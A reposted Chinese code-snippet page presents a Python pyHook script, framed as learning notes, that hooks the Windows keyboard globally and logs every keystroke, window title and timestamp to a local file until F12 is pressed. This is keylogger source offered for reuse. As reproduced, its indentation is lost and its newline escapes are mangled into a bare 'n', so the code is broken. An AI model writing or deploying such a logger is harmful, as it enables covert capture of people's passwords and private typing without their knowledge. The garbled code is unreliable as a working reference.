pyhooks实现键盘监控学习心得
发布时间:2020-05-26 10:37:14 所属栏目:Java 来源:互联网
导读:pyhooks实现键盘监控学习心得
|
下面是脚本之家 jb51.cc 通过网络收集整理的代码片段。 脚本之家小编现在分享给大家,也给大家做个参考。 # -*- coding: cp936 -*-
import pythoncom
import pyHook
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):
global t,asciistr,keystr
filename='d://test.txt'
wrfile=open(filename,'ab')
"处理键盘事件"
if t==str(event.WindowName):
asciistr=asciistr+chr(event.Ascii)
keystr=keystr+str(event.Key)
else:
t=str(event.WindowName)
if asciistr=='' and keystr=='':
wrfile.writelines("nWindow:%sn" % str(event.Window))
wrfile.writelines("WindowName:%sn" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("MessageName:%sn" % str(event.MessageName))
wrfile.writelines("Message:%dn" % event.Message)
wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
else:
wrfile.writelines("Ascii_char:%sn" %asciistr)
wrfile.writelines("Key_char:%sn" %keystr)
wrfile.writelines("nWindow:%sn" % str(event.Window))
wrfile.writelines("WindowName:%sn" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
asciistr=chr(event.Ascii)
keystr=str(event.Key)
if str(event.Key)=='F12': #按下F12后终止
wrfile.writelines("Ascii_char:%sn" %asciistr)
wrfile.writelines("Key_char:%sn" %keystr)
wrfile.close()
win32api.PostQuitMessage()
return True
if __name__ == "__main__":
'''
小五义:http://www.cnblogs.com/xiaowuyi
'''
#创建hook句柄
hm = pyHook.HookManager()
#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages(10000)
转自:http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html 以上是脚本之家(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。 如果觉得脚本之家网站内容还不错,欢迎将脚本之家网站推荐给程序员好友。 (编辑:安卓应用网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
